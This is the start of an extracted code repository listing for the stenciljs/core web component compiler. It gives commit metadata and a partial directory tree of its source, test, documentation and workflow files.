Repository: stenciljs/core Branch: main Commit: 05d12e595fd8 Files: 2067 Total size: 6.6 MB Directory structure: gitextract_je5y8jxz/ ├── .editorconfig ├── .eslintrc.js ├── .gitattributes ├── .github/ │ ├── CODEOWNERS │ ├── CONTRIBUTING.md │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.yml │ │ ├── config.yml │ │ └── feature_request.yml │ ├── ISSUE_TEMPLATE.md │ ├── PULL_REQUEST_TEMPLATE.md │ ├── SECURITY.md │ ├── ionic-issue-bot.yml │ ├── reproduire/ │ │ └── needs-reproduction.md │ └── workflows/ │ ├── README.md │ ├── actions/ │ │ ├── check-git-context/ │ │ │ └── action.yml │ │ ├── download-archive/ │ │ │ └── action.yml │ │ ├── get-core-dependencies/ │ │ │ └── action.yml │ │ └── upload-archive/ │ │ └── action.yml │ ├── build.yml │ ├── create-production-pr.yml │ ├── lint-and-format.yml │ ├── main.yml │ ├── publish-npm.yml │ ├── release-dev.yml │ ├── release-nightly.yml │ ├── release-orchestrator.yml │ ├── release-production.yml │ ├── reproduire.yml │ ├── test-analysis.yml │ ├── test-bundlers.yml │ ├── test-component-starter.yml │ ├── test-copytask.yml │ ├── test-docs-build.yml │ ├── test-e2e.yml │ ├── test-types.yml │ ├── test-unit.yml │ └── test-wdio.yml ├── .gitignore ├── .npmrc ├── .nvmrc ├── .prettierignore ├── BREAKING_CHANGES.md ├── CHANGELOG.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE.md ├── RELEASE.md ├── STYLE_GUIDE.md ├── bin/ │ └── stencil ├── cspell-code.json ├── cspell-markdown.json ├── cspell-wordlist.txt ├── docs/ │ ├── README.md │ ├── cli.md │ ├── compiler.md │ ├── declarations.md │ ├── dev-server.md │ ├── hydrate.md │ ├── mock-doc.md │ ├── runtime.md │ ├── screenshot-deprecated.md │ ├── scripts.md │ └── testing-deprecated.md ├── jest.config.js ├── package.json ├── readme.md ├── screenshot/ │ ├── compare/ │ │ ├── build/ │ │ │ ├── app.css │ │ │ ├── app.esm.js │ │ │ ├── app.js │ │ │ ├── index.esm.js │ │ │ ├── p-081b0641.js │ │ │ ├── p-227a1e18.entry.js │ │ │ ├── p-2c298727.entry.js │ │ │ ├── p-5479268c.entry.js │ │ │ ├── p-573ec8a4.entry.js │ │ │ ├── p-6ba08604.entry.js │ │ │ ├── p-6bc63295.entry.js │ │ │ ├── p-7a3759fd.entry.js │ │ │ ├── p-7b4e3ba7.js │ │ │ ├── p-988eb362.css │ │ │ ├── p-9b6a9315.js │ │ │ ├── p-b4cc611c.entry.js │ │ │ ├── p-d1bf53f5.entry.js │ │ │ ├── p-e2efe0df.js │ │ │ ├── p-e8ca6d97.entry.js │ │ │ ├── p-ec2f13e0.entry.js │ │ │ ├── p-f0b99977.entry.js │ │ │ ├── p-f4745c2f.entry.js │ │ │ └── p-fbbae598.js │ │ ├── host.config.json │ │ ├── index.html │ │ └── manifest.json │ ├── connector.js │ └── local-connector.js ├── scripts/ │ ├── build.ts │ ├── esbuild/ │ │ ├── cli.ts │ │ ├── compiler.ts │ │ ├── dev-server.ts │ │ ├── helpers/ │ │ │ ├── empty.js │ │ │ ├── import-meta-url.js │ │ │ ├── jest/ │ │ │ │ ├── jest-environment.js │ │ │ │ ├── jest-preprocessor.js │ │ │ │ ├── jest-preset.js │ │ │ │ ├── jest-runner.js │ │ │ │ └── jest-setuptestframework.js │ │ │ ├── lazy-require.js │ │ │ └── path-is-absolute.js │ │ ├── internal-app-data.ts │ │ ├── internal-app-globals.ts │ │ ├── internal-platform-client.ts │ │ ├── internal-platform-hydrate.ts │ │ ├── internal-platform-testing.ts │ │ ├── internal.ts │ │ ├── mock-doc.ts │ │ ├── screenshot.ts │ │ ├── sys-node.ts │ │ ├── testing.ts │ │ └── utils/ │ │ ├── alias-plugin.ts │ │ ├── content-types.ts │ │ ├── index.ts │ │ ├── parse5.ts │ │ ├── terser.ts │ │ └── typescript-source.ts │ ├── index.ts │ ├── release-tasks.ts │ ├── release.ts │ ├── test/ │ │ ├── copy-readme.js │ │ ├── validate-build.ts │ │ └── validate-testing.js │ ├── tsconfig.json │ ├── types/ │ │ └── rollup-plugin-node-resolve.d.ts │ ├── updateSelectorEngine.ts │ └── utils/ │ ├── banner.ts │ ├── bundle-dts.ts │ ├── constants.ts │ ├── conventional-changelog-config.js │ ├── options.ts │ ├── postcss-bundle │ ├── postcss-rollup.js │ ├── release-utils.ts │ ├── test/ │ │ ├── options.spec.ts │ │ └── release-utils.spec.ts │ ├── vermoji.ts │ └── write-pkg-json.ts ├── src/ │ ├── app-data/ │ │ └── index.ts │ ├── app-globals/ │ │ └── index.ts │ ├── cli/ │ │ ├── check-version.ts │ │ ├── config-flags.ts │ │ ├── find-config.ts │ │ ├── index.ts │ │ ├── ionic-config.ts │ │ ├── load-compiler.ts │ │ ├── logs.ts │ │ ├── parse-flags.ts │ │ ├── public.ts │ │ ├── run.ts │ │ ├── task-build.ts │ │ ├── task-docs.ts │ │ ├── task-generate.ts │ │ ├── task-help.ts │ │ ├── task-info.ts │ │ ├── task-prerender.ts │ │ ├── task-serve.ts │ │ ├── task-telemetry.ts │ │ ├── task-test.ts │ │ ├── task-watch.ts │ │ ├── telemetry/ │ │ │ ├── helpers.ts │ │ │ ├── shouldTrack.ts │ │ │ ├── telemetry.ts │ │ │ └── test/ │ │ │ ├── helpers.spec.ts │ │ │ └── telemetry.spec.ts │ │ └── test/ │ │ ├── ionic-config.spec.ts │ │ ├── parse-flags.spec.ts │ │ ├── run.spec.ts │ │ └── task-generate.spec.ts │ ├── client/ │ │ ├── client-build.ts │ │ ├── client-host-ref.ts │ │ ├── client-load-module.ts │ │ ├── client-log.ts │ │ ├── client-patch-browser.ts │ │ ├── client-style.ts │ │ ├── client-task-queue.ts │ │ ├── client-window.ts │ │ ├── index.ts │ │ └── polyfills/ │ │ ├── core-js.js │ │ ├── dom.js │ │ ├── es5-html-element.js │ │ ├── index.js │ │ └── system.js │ ├── compiler/ │ │ ├── app-core/ │ │ │ ├── app-data.ts │ │ │ ├── app-es5-disabled.ts │ │ │ ├── app-polyfills.ts │ │ │ └── bundle-app-core.ts │ │ ├── build/ │ │ │ ├── build-ctx.ts │ │ │ ├── build-finish.ts │ │ │ ├── build-hmr.ts │ │ │ ├── build-results.ts │ │ │ ├── build-stats.ts │ │ │ ├── build.ts │ │ │ ├── compiler-ctx.ts │ │ │ ├── full-build.ts │ │ │ ├── test/ │ │ │ │ ├── build-stats.spec.ts │ │ │ │ └── write-export-maps.spec.ts │ │ │ ├── validate-files.ts │ │ │ ├── watch-build.ts │ │ │ ├── write-build.ts │ │ │ └── write-export-maps.ts │ │ ├── bundle/ │ │ │ ├── app-data-plugin.ts │ │ │ ├── bundle-interface.ts │ │ │ ├── bundle-output.ts │ │ │ ├── constants.ts │ │ │ ├── core-resolve-plugin.ts │ │ │ ├── dev-module.ts │ │ │ ├── dev-node-module-resolve.ts │ │ │ ├── entry-alias-ids.ts │ │ │ ├── ext-format-plugin.ts │ │ │ ├── ext-transforms-plugin.ts │ │ │ ├── file-load-plugin.ts │ │ │ ├── loader-plugin.ts │ │ │ ├── plugin-helper.ts │ │ │ ├── server-plugin.ts │ │ │ ├── test/ │ │ │ │ ├── app-data-plugin.spec.ts │ │ │ │ ├── core-resolve-plugin.spec.ts │ │ │ │ └── ext-transforms-plugin.spec.ts │ │ │ ├── typescript-plugin.ts │ │ │ ├── user-index-plugin.ts │ │ │ └── worker-plugin.ts │ │ ├── cache.ts │ │ ├── compiler.ts │ │ ├── config/ │ │ │ ├── config-utils.ts │ │ │ ├── constants.ts │ │ │ ├── load-config.ts │ │ │ ├── outputs/ │ │ │ │ ├── index.ts │ │ │ │ ├── validate-collection.ts │ │ │ │ ├── validate-custom-element.ts │ │ │ │ ├── validate-custom-output.ts │ │ │ │ ├── validate-dist.ts │ │ │ │ ├── validate-docs.ts │ │ │ │ ├── validate-hydrate-script.ts │ │ │ │ ├── validate-lazy.ts │ │ │ │ ├── validate-stats.ts │ │ │ │ └── validate-www.ts │ │ │ ├── test/ │ │ │ │ ├── fixtures/ │ │ │ │ │ ├── stencil.config.ts │ │ │ │ │ └── stencil.config2.ts │ │ │ │ ├── load-config.spec.ts │ │ │ │ ├── tsconfig.json │ │ │ │ ├── validate-config-sourcemap.spec.ts │ │ │ │ ├── validate-config.spec.ts │ │ │ │ ├── validate-copy.spec.ts │ │ │ │ ├── validate-custom.spec.ts │ │ │ │ ├── validate-dev-server.spec.ts │ │ │ │ ├── validate-docs.spec.ts │ │ │ │ ├── validate-hydrated.spec.ts │ │ │ │ ├── validate-namespace.spec.ts │ │ │ │ ├── validate-output-dist-collection.spec.ts │ │ │ │ ├── validate-output-dist-custom-element.spec.ts │ │ │ │ ├── validate-output-dist.spec.ts │ │ │ │ ├── validate-output-www.spec.ts │ │ │ │ ├── validate-paths.spec.ts │ │ │ │ ├── validate-rollup-config.spec.ts │ │ │ │ ├── validate-service-worker.spec.ts │ │ │ │ ├── validate-stats.spec.ts │ │ │ │ ├── validate-testing.spec.ts │ │ │ │ └── validate-workers.spec.ts │ │ │ ├── transpile-options.ts │ │ │ ├── validate-config.ts │ │ │ ├── validate-copy.ts │ │ │ ├── validate-dev-server.ts │ │ │ ├── validate-docs.ts │ │ │ ├── validate-hydrated.ts │ │ │ ├── validate-namespace.ts │ │ │ ├── validate-paths.ts │ │ │ ├── validate-plugins.ts │ │ │ ├── validate-prerender.ts │ │ │ ├── validate-rollup-config.ts │ │ │ ├── validate-service-worker.ts │ │ │ ├── validate-testing.ts │ │ │ └── validate-workers.ts │ │ ├── docs/ │ │ │ ├── cem/ │ │ │ │ └── index.ts │ │ │ ├── constants.ts │ │ │ ├── custom/ │ │ │ │ └── index.ts │ │ │ ├── generate-doc-data.ts │ │ │ ├── json/ │ │ │ │ └── index.ts │ │ │ ├── readme/ │ │ │ │ ├── docs-util.ts │ │ │ │ ├── index.ts │ │ │ │ ├── markdown-css-props.ts │ │ │ │ ├── markdown-custom-states.ts │ │ │ │ ├── markdown-dependencies.ts │ │ │ │ ├── markdown-events.ts │ │ │ │ ├── markdown-methods.ts │ │ │ │ ├── markdown-overview.ts │ │ │ │ ├── markdown-parts.ts │ │ │ │ ├── markdown-props.ts │ │ │ │ ├── markdown-slots.ts │ │ │ │ ├── markdown-usage.ts │ │ │ │ └── output-docs.ts │ │ │ ├── style-docs.ts │ │ │ ├── test/ │ │ │ │ ├── custom-elements-manifest.spec.ts │ │ │ │ ├── docs-util.spec.ts │ │ │ │ ├── generate-doc-data.spec.ts │ │ │ │ ├── markdown-dependencies.spec.ts │ │ │ │ ├── markdown-overview.spec.ts │ │ │ │ ├── markdown-props.spec.ts │ │ │ │ ├── output-docs.spec.ts │ │ │ │ ├── style-docs.spec.ts │ │ │ │ └── tsconfig.json │ │ │ └── vscode/ │ │ │ └── index.ts │ │ ├── entries/ │ │ │ ├── component-bundles.ts │ │ │ ├── component-graph.ts │ │ │ ├── default-bundles.ts │ │ │ └── resolve-component-dependencies.ts │ │ ├── events.ts │ │ ├── fs-watch/ │ │ │ └── fs-watch-rebuild.ts │ │ ├── html/ │ │ │ ├── add-script-attr.ts │ │ │ ├── canonical-link.ts │ │ │ ├── html-utils.ts │ │ │ ├── inject-module-preloads.ts │ │ │ ├── inject-sw-script.ts │ │ │ ├── inline-esm-import.ts │ │ │ ├── inline-style-sheets.ts │ │ │ ├── relocate-meta-charset.ts │ │ │ ├── remove-unused-styles.ts │ │ │ ├── test/ │ │ │ │ ├── remove-unused-styles.spec.ts │ │ │ │ ├── tsconfig.json │ │ │ │ └── update-esm-import-paths.spec.ts │ │ │ ├── update-global-styles-link.ts │ │ │ ├── used-components.ts │ │ │ └── validate-manifest-json.ts │ │ ├── index.ts │ │ ├── optimize/ │ │ │ ├── autoprefixer.ts │ │ │ ├── minify-css.ts │ │ │ ├── minify-js.ts │ │ │ ├── optimize-css.ts │ │ │ ├── optimize-js.ts │ │ │ └── optimize-module.ts │ │ ├── output-targets/ │ │ │ ├── copy/ │ │ │ │ ├── assets-copy-tasks.ts │ │ │ │ ├── hashed-copy.ts │ │ │ │ ├── local-copy-tasks.ts │ │ │ │ └── output-copy.ts │ │ │ ├── dist-collection/ │ │ │ │ └── index.ts │ │ │ ├── dist-custom-elements/ │ │ │ │ ├── custom-elements-build-conditionals.ts │ │ │ │ ├── custom-elements-types.ts │ │ │ │ ├── generate-loader-module.ts │ │ │ │ ├── index.ts │ │ │ │ └── test/ │ │ │ │ └── dist-custom-elements.spec.ts │ │ │ ├── dist-hydrate-script/ │ │ │ │ ├── bundle-hydrate-factory.ts │ │ │ │ ├── generate-hydrate-app.ts │ │ │ │ ├── hydrate-build-conditionals.ts │ │ │ │ ├── hydrate-factory-closure.ts │ │ │ │ ├── index.ts │ │ │ │ ├── relocate-hydrate-context.ts │ │ │ │ ├── test/ │ │ │ │ │ └── dist-hydrate-script.spec.ts │ │ │ │ ├── update-to-hydrate-components.ts │ │ │ │ └── write-hydrate-outputs.ts │ │ │ ├── dist-lazy/ │ │ │ │ ├── generate-cjs.ts │ │ │ │ ├── generate-esm-browser.ts │ │ │ │ ├── generate-esm.ts │ │ │ │ ├── generate-lazy-module.ts │ │ │ │ ├── generate-system.ts │ │ │ │ ├── lazy-build-conditionals.ts │ │ │ │ ├── lazy-bundleid-plugin.ts │ │ │ │ ├── lazy-component-plugin.ts │ │ │ │ ├── lazy-output.ts │ │ │ │ ├── test/ │ │ │ │ │ └── generate-lazy-module.spec.ts │ │ │ │ └── write-lazy-entry-module.ts │ │ │ ├── empty-dir.ts │ │ │ ├── index.ts │ │ │ ├── output-custom.ts │ │ │ ├── output-docs.ts │ │ │ ├── output-lazy-loader.ts │ │ │ ├── output-service-workers.ts │ │ │ ├── output-types.ts │ │ │ ├── output-www.ts │ │ │ ├── readme.md │ │ │ └── test/ │ │ │ ├── build-conditionals.spec.ts │ │ │ ├── custom-elements-types.spec.ts │ │ │ ├── output-lazy-loader.spec.ts │ │ │ ├── output-targets-collection.spec.ts │ │ │ ├── output-targets-dist-custom-elements.spec.ts │ │ │ ├── output-targets-dist.spec.ts │ │ │ ├── output-targets-www-dist.spec.ts │ │ │ ├── output-targets-www.spec.ts │ │ │ └── tsconfig.json │ │ ├── plugin/ │ │ │ ├── plugin.ts │ │ │ └── test/ │ │ │ ├── plugin.spec.ts │ │ │ └── tsconfig.json │ │ ├── prerender/ │ │ │ ├── crawl-urls.ts │ │ │ ├── prerender-config.ts │ │ │ ├── prerender-hydrate-options.ts │ │ │ ├── prerender-main.ts │ │ │ ├── prerender-optimize.ts │ │ │ ├── prerender-queue.ts │ │ │ ├── prerender-template-html.ts │ │ │ ├── prerender-worker-ctx.ts │ │ │ ├── prerender-worker.ts │ │ │ ├── prerendered-write-path.ts │ │ │ ├── robots-txt.ts │ │ │ ├── sitemap-xml.ts │ │ │ └── test/ │ │ │ ├── crawl-urls.spec.ts │ │ │ ├── prerender-optimize.spec.ts │ │ │ ├── prerendered-write-path.spec.ts │ │ │ └── tsconfig.json │ │ ├── public.ts │ │ ├── service-worker/ │ │ │ ├── generate-sw.ts │ │ │ ├── service-worker-util.ts │ │ │ └── test/ │ │ │ ├── service-worker-util.spec.ts │ │ │ ├── service-worker.spec.ts │ │ │ └── tsconfig.json │ │ ├── style/ │ │ │ ├── css-imports.ts │ │ │ ├── css-parser/ │ │ │ │ ├── css-parse-declarations.ts │ │ │ │ ├── get-css-selectors.ts │ │ │ │ ├── parse-css.ts │ │ │ │ ├── readme.md │ │ │ │ ├── serialize-css.ts │ │ │ │ ├── test/ │ │ │ │ │ ├── css-nesting.spec.ts │ │ │ │ │ ├── escaped-selectors.spec.ts │ │ │ │ │ ├── get-selectors.spec.ts │ │ │ │ │ ├── minify-css.spec.ts │ │ │ │ │ └── parse-serialize.spec.ts │ │ │ │ └── used-selectors.ts │ │ │ ├── css-to-esm.ts │ │ │ ├── global-styles.ts │ │ │ ├── normalize-styles.ts │ │ │ ├── optimize-css.ts │ │ │ ├── scope-css.ts │ │ │ ├── style-utils.ts │ │ │ └── test/ │ │ │ ├── build-conditionals.spec.ts │ │ │ ├── css-imports.spec.ts │ │ │ ├── css-to-esm.spec.ts │ │ │ ├── optimize-css.spec.ts │ │ │ ├── style-rebuild.spec.ts │ │ │ ├── style.spec.ts │ │ │ └── tsconfig.json │ │ ├── sys/ │ │ │ ├── config.ts │ │ │ ├── environment.ts │ │ │ ├── fetch/ │ │ │ │ ├── fetch-module-async.ts │ │ │ │ ├── fetch-module-sync.ts │ │ │ │ ├── fetch-utils.ts │ │ │ │ ├── tests/ │ │ │ │ │ └── fetch-module.spec.ts │ │ │ │ └── write-fetch-success.ts │ │ │ ├── in-memory-fs.ts │ │ │ ├── node-require.ts │ │ │ ├── resolve/ │ │ │ │ ├── resolve-module-async.ts │ │ │ │ ├── resolve-module-sync.ts │ │ │ │ ├── resolve-utils.ts │ │ │ │ └── tests/ │ │ │ │ └── resolve-module.spec.ts │ │ │ ├── stencil-sys.ts │ │ │ ├── tests/ │ │ │ │ ├── in-memory-fs.spec.ts │ │ │ │ └── stencil-sys.spec.ts │ │ │ ├── typescript/ │ │ │ │ ├── tests/ │ │ │ │ │ ├── typescript-config.spec.ts │ │ │ │ │ ├── typescript-resolve-module.spec.ts │ │ │ │ │ └── typescript-sys.spec.ts │ │ │ │ ├── typescript-config.ts │ │ │ │ ├── typescript-resolve-module.ts │ │ │ │ └── typescript-sys.ts │ │ │ └── worker/ │ │ │ └── sys-worker.ts │ │ ├── transformers/ │ │ │ ├── add-component-meta-proxy.ts │ │ │ ├── add-component-meta-static.ts │ │ │ ├── add-imports.ts │ │ │ ├── add-static-style.ts │ │ │ ├── add-tag-transform.ts │ │ │ ├── automatic-key-insertion/ │ │ │ │ ├── automatic-key-insertion.spec.ts │ │ │ │ ├── index.ts │ │ │ │ └── utils.ts │ │ │ ├── collections/ │ │ │ │ ├── add-external-import.ts │ │ │ │ ├── parse-collection-components.ts │ │ │ │ ├── parse-collection-manifest.ts │ │ │ │ └── parse-collection-module.ts │ │ │ ├── component-build-conditionals.ts │ │ │ ├── component-hydrate/ │ │ │ │ ├── hydrate-component.ts │ │ │ │ ├── hydrate-runtime-cmp-meta.ts │ │ │ │ └── tranform-to-hydrate-component.ts │ │ │ ├── component-lazy/ │ │ │ │ ├── attach-internals.ts │ │ │ │ ├── constants.ts │ │ │ │ ├── lazy-component.ts │ │ │ │ ├── lazy-constructor.ts │ │ │ │ ├── lazy-element-getter.ts │ │ │ │ └── transform-lazy-component.ts │ │ │ ├── component-native/ │ │ │ │ ├── add-define-custom-element-function.ts │ │ │ │ ├── attach-internals.ts │ │ │ │ ├── native-component.ts │ │ │ │ ├── native-connected-callback.ts │ │ │ │ ├── native-constructor.ts │ │ │ │ ├── native-element-getter.ts │ │ │ │ ├── native-meta.ts │ │ │ │ ├── native-static-style.ts │ │ │ │ ├── proxy-custom-element-function.ts │ │ │ │ └── tranform-to-native-component.ts │ │ │ ├── core-runtime-apis.ts │ │ │ ├── create-event.ts │ │ │ ├── decorators-to-static/ │ │ │ │ ├── attach-internals.ts │ │ │ │ ├── component-decorator.ts │ │ │ │ ├── convert-decorators.ts │ │ │ │ ├── decorator-utils.ts │ │ │ │ ├── decorators-constants.ts │ │ │ │ ├── element-decorator.ts │ │ │ │ ├── event-decorator.ts │ │ │ │ ├── import-alias-map.ts │ │ │ │ ├── listen-decorator.ts │ │ │ │ ├── method-decorator.ts │ │ │ │ ├── prop-decorator.ts │ │ │ │ ├── serialize-decorators.ts │ │ │ │ ├── state-decorator.ts │ │ │ │ ├── style-to-static.ts │ │ │ │ └── watch-decorator.ts │ │ │ ├── define-custom-element.ts │ │ │ ├── detect-modern-prop-decls.ts │ │ │ ├── host-data-transform.ts │ │ │ ├── map-imports-to-path-aliases.ts │ │ │ ├── reactive-handler-meta-transform.ts │ │ │ ├── remove-collection-imports.ts │ │ │ ├── remove-static-meta-properties.ts │ │ │ ├── reserved-public-members.ts │ │ │ ├── rewrite-aliased-paths.ts │ │ │ ├── static-to-meta/ │ │ │ │ ├── attach-internals.ts │ │ │ │ ├── call-expression.ts │ │ │ │ ├── class-extension.ts │ │ │ │ ├── class-methods.ts │ │ │ │ ├── component.ts │ │ │ │ ├── element-ref.ts │ │ │ │ ├── encapsulation.ts │ │ │ │ ├── events.ts │ │ │ │ ├── form-associated.ts │ │ │ │ ├── import.ts │ │ │ │ ├── listeners.ts │ │ │ │ ├── methods.ts │ │ │ │ ├── parse-static.ts │ │ │ │ ├── props.ts │ │ │ │ ├── serializers.ts │ │ │ │ ├── states.ts │ │ │ │ ├── string-literal.ts │ │ │ │ ├── styles.ts │ │ │ │ ├── vdom.ts │ │ │ │ ├── visitor.ts │ │ │ │ └── watchers.ts │ │ │ ├── stencil-import-path.ts │ │ │ ├── style-imports.ts │ │ │ ├── test/ │ │ │ │ ├── add-component-meta-proxy.spec.ts │ │ │ │ ├── add-static-style.spec.ts │ │ │ │ ├── add-tag-transform.spec.ts │ │ │ │ ├── convert-decorators.spec.ts │ │ │ │ ├── core-runtime-apis.spec.ts │ │ │ │ ├── decorator-utils.spec.ts │ │ │ │ ├── detect-modern-prop-decls.spec.ts │ │ │ │ ├── fixtures/ │ │ │ │ │ ├── dessert.ts │ │ │ │ │ └── meal-entry.ts │ │ │ │ ├── functional-component-deps.spec.ts │ │ │ │ ├── lazy-component.spec.ts │ │ │ │ ├── map-imports-to-path-aliases.spec.ts │ │ │ │ ├── native-component.spec.ts │ │ │ │ ├── parse-attach-internals.spec.ts │ │ │ │ ├── parse-comments.spec.ts │ │ │ │ ├── parse-component-tags.spec.ts │ │ │ │ ├── parse-component.spec.ts │ │ │ │ ├── parse-deserializers.spec.ts │ │ │ │ ├── parse-element.spec.ts │ │ │ │ ├── parse-encapsulation.spec.ts │ │ │ │ ├── parse-events.spec.ts │ │ │ │ ├── parse-exportable-mixin.spec.ts │ │ │ │ ├── parse-form-associated.spec.ts │ │ │ │ ├── parse-import-path.spec.ts │ │ │ │ ├── parse-listeners.spec.ts │ │ │ │ ├── parse-methods.spec.ts │ │ │ │ ├── parse-mixin.spec.ts │ │ │ │ ├── parse-props.spec.ts │ │ │ │ ├── parse-serializers.spec.ts │ │ │ │ ├── parse-slot-assignment.spec.ts │ │ │ │ ├── parse-states.spec.ts │ │ │ │ ├── parse-styles.spec.ts │ │ │ │ ├── parse-vdom.spec.ts │ │ │ │ ├── parse-virtual-props.spec.ts │ │ │ │ ├── parse-watch.spec.ts │ │ │ │ ├── proxy-custom-element-function.spec.ts │ │ │ │ ├── rewrite-aliased-paths.spec.ts │ │ │ │ ├── transform-utils.spec.ts │ │ │ │ ├── transpile.ts │ │ │ │ ├── tsconfig.json │ │ │ │ ├── type-library.spec.ts │ │ │ │ └── utils.ts │ │ │ ├── transform-utils.ts │ │ │ ├── type-library.ts │ │ │ ├── update-component-class.ts │ │ │ └── update-stencil-core-import.ts │ │ ├── transpile/ │ │ │ ├── create-build-program.ts │ │ │ ├── create-watch-program.ts │ │ │ ├── run-program.ts │ │ │ ├── test/ │ │ │ │ ├── create-watch-program.spec.ts │ │ │ │ └── run-program.spec.ts │ │ │ ├── transpile-module.ts │ │ │ ├── transpiled-module.ts │ │ │ ├── ts-config.ts │ │ │ └── validate-components.ts │ │ ├── transpile.ts │ │ ├── types/ │ │ │ ├── constants.ts │ │ │ ├── generate-app-types.ts │ │ │ ├── generate-component-types.ts │ │ │ ├── generate-event-detail-types.ts │ │ │ ├── generate-event-listener-types.ts │ │ │ ├── generate-event-types.ts │ │ │ ├── generate-method-types.ts │ │ │ ├── generate-prop-types.ts │ │ │ ├── generate-types.ts │ │ │ ├── package-json-log-utils.ts │ │ │ ├── stencil-types.ts │ │ │ ├── tests/ │ │ │ │ ├── ComponentCompilerEvent.stub.ts │ │ │ │ ├── ComponentCompilerMeta.stub.ts │ │ │ │ ├── ComponentCompilerMethod.stub.ts │ │ │ │ ├── ComponentCompilerProperty.stub.ts │ │ │ │ ├── ComponentCompilerTypeReference.stub.ts │ │ │ │ ├── ComponentCompilerVirtualProperty.stub.ts │ │ │ │ ├── TypesImportData.stub.ts │ │ │ │ ├── __snapshots__/ │ │ │ │ │ └── generate-app-types.spec.ts.snap │ │ │ │ ├── generate-app-types.spec.ts │ │ │ │ ├── generate-component-types.spec.ts │ │ │ │ ├── generate-event-detail-types.spec.ts │ │ │ │ ├── generate-event-listener-types.spec.ts │ │ │ │ ├── generate-event-types.spec.ts │ │ │ │ ├── generate-method-types.spec.ts │ │ │ │ ├── generate-prop-types.spec.ts │ │ │ │ ├── stencil-types.spec.ts │ │ │ │ ├── tsconfig.json │ │ │ │ ├── validate-package-json.spec.ts │ │ │ │ └── validate-primary-package-output-target.spec.ts │ │ │ ├── types-utils.ts │ │ │ ├── update-import-refs.ts │ │ │ ├── validate-build-package-json.ts │ │ │ └── validate-primary-package-output-target.ts │ │ └── worker/ │ │ ├── main-thread.ts │ │ └── worker-thread.ts │ ├── declarations/ │ │ ├── child_process.ts │ │ ├── index.ts │ │ ├── readme.md │ │ ├── stencil-ext-modules.d.ts │ │ ├── stencil-private.ts │ │ ├── stencil-public-compiler.ts │ │ ├── stencil-public-docs.ts │ │ └── stencil-public-runtime.ts │ ├── dev-server/ │ │ ├── client/ │ │ │ ├── app-error.css │ │ │ ├── app-error.ts │ │ │ ├── events.ts │ │ │ ├── hmr-components.ts │ │ │ ├── hmr-external-styles.ts │ │ │ ├── hmr-images.ts │ │ │ ├── hmr-inline-styles.ts │ │ │ ├── hmr-util.ts │ │ │ ├── hmr-window.ts │ │ │ ├── index.ts │ │ │ ├── logger.ts │ │ │ ├── progress.ts │ │ │ ├── status.ts │ │ │ └── test/ │ │ │ ├── hmr-util.spec.ts │ │ │ └── status.spec.ts │ │ ├── content-types-db.json │ │ ├── dev-server-client/ │ │ │ ├── app-update.ts │ │ │ ├── client-web-socket.ts │ │ │ ├── index.ts │ │ │ ├── init-dev-client.ts │ │ │ └── test/ │ │ │ └── tsconfig.json │ │ ├── dev-server-constants.ts │ │ ├── dev-server-utils.ts │ │ ├── index.ts │ │ ├── open-in-browser.ts │ │ ├── open-in-editor-api.ts │ │ ├── open-in-editor.ts │ │ ├── request-handler.ts │ │ ├── serve-dev-client.ts │ │ ├── serve-dev-node-module.ts │ │ ├── serve-directory-index.ts │ │ ├── serve-file.ts │ │ ├── server-context.ts │ │ ├── server-http.ts │ │ ├── server-process.ts │ │ ├── server-web-socket.ts │ │ ├── server-worker-main.ts │ │ ├── server-worker-thread.js │ │ ├── ssr-request.ts │ │ ├── templates/ │ │ │ ├── directory-index.html │ │ │ └── initial-load.html │ │ └── test/ │ │ ├── Diagnostic.stub.ts │ │ ├── dev-server-utils.spec.ts │ │ ├── req-handler.spec.ts │ │ ├── server-http.spec.ts │ │ ├── tsconfig.json │ │ └── util.spec.ts │ ├── hydrate/ │ │ ├── platform/ │ │ │ ├── h-async.ts │ │ │ ├── hydrate-app.ts │ │ │ ├── index.ts │ │ │ ├── proxy-host-element.ts │ │ │ └── test/ │ │ │ ├── __mocks__/ │ │ │ │ └── @app-globals/ │ │ │ │ └── index.ts │ │ │ └── serialize-shadow-root-opts.spec.ts │ │ └── runner/ │ │ ├── create-window.ts │ │ ├── hydrate-factory.ts │ │ ├── index.ts │ │ ├── inspect-element.ts │ │ ├── patch-dom-implementation.ts │ │ ├── render-utils.ts │ │ ├── render.ts │ │ ├── runtime-log.ts │ │ └── window-initialize.ts │ ├── index.ts │ ├── internal/ │ │ ├── default.ts │ │ ├── index.ts │ │ ├── readme.md │ │ ├── stencil-core/ │ │ │ ├── index.cjs │ │ │ ├── index.d.ts │ │ │ ├── index.js │ │ │ ├── jsx-dev-runtime.cjs │ │ │ ├── jsx-dev-runtime.d.ts │ │ │ ├── jsx-dev-runtime.js │ │ │ ├── jsx-runtime.cjs │ │ │ ├── jsx-runtime.d.ts │ │ │ └── jsx-runtime.js │ │ └── testing/ │ │ ├── jsx-dev-runtime.d.ts │ │ ├── jsx-dev-runtime.js │ │ ├── jsx-runtime.d.ts │ │ └── jsx-runtime.js │ ├── mock-doc/ │ │ ├── attribute.ts │ │ ├── comment-node.ts │ │ ├── console.ts │ │ ├── constants.ts │ │ ├── css-style-declaration.ts │ │ ├── css-style-sheet.ts │ │ ├── custom-element-registry.ts │ │ ├── dataset.ts │ │ ├── document-fragment.ts │ │ ├── document-type-node.ts │ │ ├── document.ts │ │ ├── element.ts │ │ ├── event.ts │ │ ├── global.ts │ │ ├── headers.ts │ │ ├── history.ts │ │ ├── index.ts │ │ ├── intersection-observer.ts │ │ ├── location.ts │ │ ├── navigator.ts │ │ ├── node.ts │ │ ├── parse-html.ts │ │ ├── parse-util.ts │ │ ├── parser.ts │ │ ├── performance.ts │ │ ├── request-response.ts │ │ ├── resize-observer.ts │ │ ├── selector.ts │ │ ├── serialize-node.ts │ │ ├── shadow-root.ts │ │ ├── storage.ts │ │ ├── test/ │ │ │ ├── attribute.spec.ts │ │ │ ├── clone.spec.ts │ │ │ ├── css-style-declaration.spec.ts │ │ │ ├── css-style-sheet.spec.ts │ │ │ ├── custom-elements.spec.ts │ │ │ ├── dataset.spec.ts │ │ │ ├── doc-style.spec.ts │ │ │ ├── document-fragment.spec.ts │ │ │ ├── element.spec.ts │ │ │ ├── event.spec.ts │ │ │ ├── global.spec.ts │ │ │ ├── headers.spec.ts │ │ │ ├── html-parse.spec.ts │ │ │ ├── location.spec.ts │ │ │ ├── match-media.spec.ts │ │ │ ├── request-response.spec.ts │ │ │ ├── selector.spec.ts │ │ │ ├── serialize-node.spec.ts │ │ │ 